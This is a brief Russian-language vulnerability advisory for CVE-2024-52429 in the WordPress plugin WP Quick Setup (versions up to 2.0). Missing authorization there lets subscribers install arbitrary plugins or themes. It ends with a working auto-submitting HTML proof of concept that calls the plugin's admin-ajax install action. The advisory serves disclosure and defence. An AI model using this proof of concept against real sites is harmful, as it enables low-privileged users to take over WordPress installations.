
WP Quick Setup <= 2.0 - Отсутствие авторизации, позволяющее аутентифицированным пользователям (Subscriber+) произвольную установку плагинов/тем
WP Quick Setup <= 2.0 — Отсутствие авторизации у аутентифицированных пользователей (Subscriber+) для произвольной установки плагинов/тем
Плагин WP Quick Setup для WordPress уязвим к несанкционированной установке плагинов и тем из-за отсутствия проверки прав доступа к функции во всех версиях до 2.0 включительно. Это делает его
Type: plugin
CVSS Score: 8.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-52429
Войдите как подписчик, затем запустите этот HTML:
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wes_install_plugins" />
<input type="hidden" name="plugin_urls[]" value="https://downloads.wordpress.org/plugin/wdes-responsive-mobile-menu.zip" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>